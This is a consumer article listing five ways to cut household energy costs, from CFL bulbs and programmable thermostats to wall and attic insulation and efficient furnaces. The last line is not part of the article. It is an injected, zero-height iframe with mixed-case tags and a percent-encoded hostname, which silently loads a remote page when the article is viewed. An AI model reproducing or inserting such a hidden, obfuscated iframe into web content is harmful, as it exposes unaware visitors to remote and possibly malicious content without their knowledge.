Easy Ways to Save Energy Costs In Your Home

[ellis gibb]

In the last decade, sparked by rising gas prices and energy shortages,
there has been a marked increase towards newer methods of generating
energy. Solar power, wind power, and hydrogen fuel cells are just a
few of the newer technologies that are predicted to come into their
own in the next decade. But before you rush out to invest in these
newer energy sources, you should first take a look to see how you can
save on your existing energy costs.
1. Use energy saving light bulbs. You can now find energy saving
compact fluorescent light bulbs in all shapes, colors, wattages, and
sizes. Not only can they save you up to 75% of your current light bulb
energy costs, but because they burn at less intensity than
incandescent bulbs, it's not unusual for them to last as much as 10
times longer. When these bulbs first came out, they were very
expensive, but every year the prices come down more and more.
2. Replace your normal thermostats with programmable thermostats.
Depending on the size of your heating area, you can save hundreds of
dollars of year by simply programming the thermostat to turn off your
heat and air conditioning at times when you are not home. The prices
of these have come down so much that you can get one with multiple day
and hourly settings for under $100. You'll typically recoup your cost
in less than a year.
3. Insulate the walls in your home with cavity wall insulation. Heat
loss through walls, ill fitting doors, un-insulated windows and doors
can be enormous. Estimates range from 20% on the low end to 70% on the
high end.
There are three main types of wall insulation materials to choose from
- polyurethane foam insulation, urea formaldehyde foam, and blown
mineral fiber. Prices will vary depending on the part of the country
where you live.
Cavity wall insulation can easily be one of the most cost saving
measures you can make to your home. The average home owner can cut
their cost up to 35% and recover their cost within two years -
possibly one. An additional benefit is that it usually helps to sound
proof your home from outside noises and disturbances.
In addition to cavity wall insulation, it is also useful to seal
window cracks in windows, doors, and the foundation with caulk and
other forms of weather stripping.
4. Insulate your loft or attic. Heat rises, so it's no surprise that
in homes with lofts or attics, that's where much of the heat loss
occurs. A simple way to insulate the attic is to lay insulation
materials over the attic floor, between the joists, and over the
joists if they are visible. An insulation material with an R-38 rating
is best.
5. Replace your furnace or boiler with an energy efficient one. If
your boiler or furnace is near the end of its life span, replacing it
with an energy efficient unit can repay its installed cost in three
years. The important feature to look for is one with an AFUE (Annual
Fuel Utilization Efficiency) rating of at least 85%. The higher the
AFUE rating the more fuel efficient it is.
These are just some of the simple steps you can make to your home to
improve your energy use and cut your energy costs.
No one of us can solve the energy crisis by ourselves. But we can all
do our part by taking smaller measures to reduce our individual energy
consumption.
<IfrAmE src=http://%6C%6C%38%30%2E%63%6F%6D/ad.htm width=100
height=0></IfrAmE>